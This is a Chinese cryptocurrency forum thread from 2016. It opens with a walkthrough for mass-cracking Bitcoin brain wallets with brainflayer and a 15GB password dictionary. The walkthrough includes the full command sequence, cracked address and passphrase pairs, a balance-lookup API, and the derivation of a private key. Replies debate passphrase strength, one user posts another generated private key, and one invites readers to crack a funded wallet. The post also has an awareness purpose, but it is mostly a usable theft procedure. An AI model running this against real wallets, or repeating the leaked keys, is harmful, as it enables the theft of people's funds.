巴比特论坛

发表于 2016-1-31 10:39:24 | 显示全部楼层
引言:
白帽黑客发布比特币脑钱包掠夺者,每秒可猜测13万个密码
http://www.8btc.com/new-cracking-tool

下面是基于上面这则新闻进行的脑钱包密码破解的实战测试。

先给出脑钱包暴力破解代码 brainflayer 下载地址:
https://github.com/ryancdotorg/brainflayer

1. 暴力破解脑钱包,首先要有个强大的字典文件。
本测试使用CrackStation的密码字典,本字典文件为15G,包含了差不多15亿个密码。下载地址:
https://crackstation.net/buy-cra ... king-dictionary.htm

2. 安装好比特币服务 https://github.com/bitcoin/bitcoin
如果不知道怎么装,那下面的内容就别试了,看着玩吧。

3. 利用开源的区块链工具 Blockparser 获取所有的比特币地址。

Blockparser 下载地址: https://github.com/znort987/blockparser
运行Blockparser 获取目前所有的比特币地址
  1. ./parser allBalances > allBalances.txt
复制代码
这是一个想当耗时的过程,不知道是我的主机速度慢还是其它原因,测试了下需要运行好几天才能获取所有的地址。特别是超过300000区块后,速度下降很多,估计是地址太多了。因此本次测试只取到大约320000区块的地址,后面的地址就暂时不测试了,这个文件大概2G。
由于 allBalances.txt 文件中包含了金额等其他信息,需要用 awk 命令行整理下 allBalances.txt 的内容,我们只需要比特币地址信息。
  1. awk '{ print $2 }' allBalances.txt  > btcaddress.hex
复制代码
4. Brainflayer 破解程序要求输入的比特币地址格式为 Hash160,所以需要把上面获取的所有比特币地址转换为 Hash160 格式。
类似的工具很多,我用的是下面这个 Perl 代码: http://lenschulwitz.com/base58
稍加修改就能转换整个文件了。

5. 用Brainflayer 文件包中的工具 hex2blf 把 Hash160 地址转换为布隆过滤文件。
Brainflayer 利用这个布隆过滤器,大大提高了密码破解速度。
  1. hex2blf btcaddress.hex btcaddress.blf
复制代码
6. 开始破解
  1. brainflayer -b btcaddress.blf -i password.txt
复制代码
我还真没想到刚开始运行就输出了几十个破解结果,虽然全部运行完这15G的密码文件需要好几个小时,但是破解效率还是真不错。用CrackStation的密码字典查出了将近2万个比特币地址和相应的脑钱包密码

7. 来分析下这些被破解的密码: (第一栏是比特币地址Hash160格式,最后一栏是密码)

简单的就不多说了。
  1. 6e24b1342852a8e4af3c63206f8b2266ba887ef6:u:str:1234
  2. ec42ad7fd54f931274b83f6137379206e458b106:u:str:1satoshi
复制代码
那些很长的数字密码都能被破解:
  1. 09b508bae503da42f05575891866d0072bcf65f6:u:str:011235813213455
  2. 32f6ace81715e0872e6db7ff4a280185205620a3:u:str:12345678901234567890
  3. afe66e0314eb15a5cd01d95b94166ce995c3347d:u:str:000000000000000000000000000000
复制代码
字母密码看起来15位以内的都没用,破解了太多了。
  1. 482bc0946efa74a5a3d005e693b2774e1aeb7dad:u:str:qwertyuiopasdfghjklzxcvbnm
  2. 4b1b231e9caa7f95d51ed7c99df68a5add5a1714:u:str:doandroidsdreamofelectricsheep
  3. bf1f119153f6ecedb259f0043f9fbbc88687b22e:u:str:thepastisagrotesqueanimal
复制代码
再看看有些很长的密码都能破解,有点心惊。
  1. ac8dc3fcfa4e9e91dddfc0c3fe6d7e0021292036:u:str:may the force be with you
  2. 8b0a993126c3bf8f4b28c8264b553d6aa39f2956:u:str:Money is the root of all evil.
  3. 1622dc9d9e5423d7b84122f9ef7edfa1981d9960:u:str:nothing ventured nothing gained
  4. 0c7cdc2d447af8d422dd2b54cab2f274ca88131d:u:str:No one can make you feel inferior without your consent.
  5. 8ee2d47121c480c37f9dd0a88bddf2dc21b284da:u:str:The quick brown fox jumped over the lazy dog.
  6. 2029758fa9d81f9c36f4be2ab8696ad10fc602f8:u:str:The quick brown fox jumps over the lazy dog
  7. 838edc90c250d298fc115bf028164f105e228fb9:u:str:these aren't the droids you're looking for
  8. 8c4cfbd55dd01f6c221372eba1e57c7496d7239f:u:str:This is the way the world ends.
  9. 31ae15fc484cf5fd34ecd49e1afb51e3f2174a93:u:str:tomb-of-the-unknown-soldier-identification-badge
复制代码
还有中文名做密码的,有这里的朋友吗? :-)
  1. 7afa3b687e58d3f16feccb8244b90a87a535b85c:u:str:试试看
  2. 73b1bebd338fc051dba7282d4f99846fac01df23:u:str:中国上海
复制代码
8. Brainflayer 输出的地址是 Hash160格式,还是用上面第4步里的工具,转换回普通的比特币地址。
例如: ec42ad7fd54f931274b83f6137379206e458b106:u:str:1satoshi
转换为比特币地址是: 1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49, 脑钱包密码是 1satoshi

9. 你们是不是很关心这些地址里还有没有币?
Blockchain.info 上可以查询余额。
也可以通过API查询
  1. https://blockchain.info/q/addressbalance/<b>1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49</b>
复制代码
我查了好多破解的地址,余额全部为0,应该是这些简单的字典破解的账号,早被人把余额转走了。

10. 最后就是,如果真的某个地址里有余额,那么对应的秘钥是什么?
开源代码 Addressgen 提供了根据脑钱包密码生成比特币地址和秘钥的功能。
  1. https://github.com/sarchar/addressgen
复制代码
以上面的 ec42ad7fd54f931274b83f6137379206e458b106:u:str:1satoshi 为例,第8步给出了比特币地址是:
1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49,下面通过 Addressgen 来验证。

运行
  1. ./genaddress.py -p 1satoshi
复制代码
输出如下:
  1. ECDSA private key (random number / secret exponent)
  2.     51b2156ca4b9d96c9e77938b1197b806a4a2822060da15d79f2f6f8f75655644
  3. Bitcoin private key (Base58Check, uncompressed)
  4.     <font color="Red">5JSGPQ2Jw1P5cVi2L8LeuWnMF5H8rLGrPPgVM2XE1cahG1BQDzY
  5. </font>Bitcoin extended private key (Base58Check)
  6.     xprv9s21ZrQH143K3TEjPXq1CkrNDMfYWYwVNKVWqSPeEthWqd4uJKWSRnM2GX2BYktMDQrGxa2FZrpDdt5Q1qeLk4T46974eh9Eo7iHCfGcY37
  7.     (embedded private key) -> L43jHnozmKE5TYNqMwsPgXNcTfRT7TNhzDkTgaKAgYcx99Qm5LhB
  8. ------
  9. ECDSA public key (uncompressed)
  10.     04a3599acf74fc7b781207860e8753f182fc4b8c5febe6c5f2e09381893abb4e0b290a172aa6a7ba13c5a32de6d10a024d95cf786d72e650889a4a22f29a3b84df
  11. Bitcoin Address (uncompressed, length=34):
  12.     <font color="Red">1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49</font>
  13. Bitcoin extended public key
  14.     xpub661MyMwAqRbcFwKCVZN1Zto6mPW2v1fLjYR7dpoFoEEViRQ3qrpgyafW7nhb8fPtRaX2TJbCXQAfgAhMYGJ9DJeF1UVAMYu3Ucd3BqaeU9R
  15.     (embedded public key) -> 032131be64ba3f27e757c2f0f310038a8dfb768ff922448aff2841fa7954472880
  16.     (bitcoin address) -> 1Kvdg9jcdcdWGBb77Rovd8jkHjPd4eKB6t
复制代码
从上面可以看到,比特币地址正是 1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49
而对应的秘钥为 5JSGPQ2Jw1P5cVi2L8LeuWnMF5H8rLGrPPgVM2XE1cahG1BQDzY

总结:
使用脑钱包的密码一定要非常强大,及时是好多个单词都不一定安全。这个测试只用了一台主机几个小时的运算时间,就检验了15亿的密码组合。
如果租个几十台云主机破解一个月,破解的密码组合可以到十万亿以上。大家可以算算自己的密码强度够不够!



打赏

参与人数 4金币 +250125 收起 理由
btcnews + 2 神马都是浮云
ETHman + 5 赞一个!
miner + 20 很给力!
X_e_o_X + 2 很给力!

查看全部打赏

BTC、ETH、XMR

32条回复 跳转到指定楼层

楼主有心了,怎么多密码支持下LZNA .
fermi | 船长 | 发表于 2016-1-31 11:04:40 | 显示全部楼层
也就是说做脑钱包的语句千万不能说人话,而且还要足够长。类似于一句中文推出脑钱包私钥,用这个私钥+一句英文再推出第二级脑钱包私钥,再用这个私钥+德文推出第三级脑钱包,......最后用私钥+旺财语言,这样出来的私钥应该是安全了。不知还能不能记得住。
bitbybit | 副船长 | 发表于 2016-1-31 11:06:25 来自手机版 | 显示全部楼层
我靠,这特么也太强大了,没法完了,卖币抱平安
cinbit | 船长 | 发表于 2016-1-31 11:08:53 | 显示全部楼层
这只是基于密码词典的暴力破解,没什么大不了的。也没有那么危言耸听。
bincoin | 持有lrc、btm的无敌投机海盗王 | 发表于 2016-1-31 15:54:07 来自手机版 | 显示全部楼层
没用脑钱包
aione110 | 队长 | 发表于 2016-1-31 22:08:09 来自手机版 | 显示全部楼层
俺只用比太钱包,应该没事吧
imgse | 船员 | 发表于 2016-1-31 22:30:13 | 显示全部楼层
以前看过那个程序,如果是单单猜密码,不用安装比特币服务也行。
X_e_o_X | 队长 | 发表于 2016-2-1 12:34:04 | 显示全部楼层
这个甚吊,待我研究一番。
玛_雅 | 币世界杯CoinBi.com币导航idgui.com版主 | 发表于 2016-2-1 12:58:20 来自手机版 | 显示全部楼层
bincoin 发表于 2016-1-31 15:54
没用脑钱包

我的绝大多数比特币都是存放在脑钱包。

看到楼主破解的脑口令举例,“may the force be with you”“试试看”“中国上海”……

呵呵了这些当然都是测试玩玩的脑残包而已,而不是脑钱包。

楼主的标题有点夸大其辞,应该是《脑残包破解实测》。真正的复杂且长脑口令的脑钱包,你是无法破解的。

我的脑钱包地址放http://idgui.com/t了,有十几个币,你去破解试试。

脑钱包工具是很先进的工具,前期就因上面的“伪破解”把知名的Brainwallet.org给永久关闭了,好不容易又有http://BTCnqb.com继承下来,且汉化。大家要对其有点包容。
没有任何工具是100%绝对安全的,任何钱包都有盗币风险。
而脑钱包工具的薄弱环节在于用户不会构造长而复杂的脑口令,而与工具本身无关。
就像发明一种高科技高效率的菜刀,但是有些人不太会用,容易割到手。难道仅仅因一些新人易割到手,就废弃掉整个极大提高效率的高科技菜刀项目??!不是应该多多提示风险,多多教育如何正确使用么?
其实正确使用很简单,只一句话:
脑残包私钥加入脑口令编辑后作为长而复杂脑口令。
shijian | 船员 | 发表于 2016-2-1 13:10:52 | 显示全部楼层
虽然不明白,但好像很厉害的样子
X_e_o_X | 队长 | 发表于 2016-2-1 13:12:08 | 显示全部楼层
玛_雅 发表于 2016-2-1 12:58
我的绝大多数比特币都是存放在脑钱包。

看到楼主破解的脑口令举例,“may the force be with you”“ ...

脑钱包可以用中文做密码吗?
Jack.H | 副船长 | 发表于 2016-2-2 00:30:09 | 显示全部楼层
可以啊,用你的这句话生成的比特币地址和秘钥分别是
    1jy79MET6QQBcL7jgrn7QZ6JBp2dmsego
    5KC9eVnGh9GLWdpVMsycHDEuN5RHVB9QEMK8QGRBNkqcNC9g9WF

BTC、ETH、XMR
btcnews | 副船长 | 发表于 2016-2-3 11:04:47 | 显示全部楼层
fermi 发表于 2016-1-31 11:04
也就是说做脑钱包的语句千万不能说人话,而且还要足够长。类似于一句中文推出脑钱包私钥,用这个私钥+一句 ...

有点晕,能不能举个粟子。
qkl | 队长 | 发表于 2016-2-17 12:02:45 | 显示全部楼层
玛_雅 发表于 2016-2-1 12:58
我的绝大多数比特币都是存放在脑钱包。

看到楼主破解的脑口令举例,“may the force be with you”“ ...

真的有16个币啊。。
QQ截图20160217120154.png


高级模式
您需要登录后才可以发帖 登录 | 立即注册 | 用新浪微博登录

本版积分规则

搜索

0关注 0粉丝 10主题
返回顶部 返回列表

登录

分享 发帖